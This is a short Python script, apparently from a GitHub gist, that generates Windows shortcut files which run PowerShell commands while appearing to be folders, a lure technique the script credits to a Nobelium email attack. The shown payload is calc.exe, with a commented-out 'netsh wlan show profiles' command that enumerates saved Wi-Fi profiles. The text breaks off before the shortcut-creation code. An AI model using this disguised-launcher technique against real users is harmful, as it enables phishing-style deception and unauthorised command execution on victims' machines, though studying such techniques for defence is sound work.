This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Generates Windows Shortcuts that execute powershell commands while appearing as a folder. | |
# ( inspired by the technique used here: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ ) | |
from win32com.client import Dispatch | |
import codecs, os | |
COMMAND = "calc.exe" # What you want Powershell to execute | |
#COMMAND = "netsh wlan show profiles" | |
BASEPATH = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' |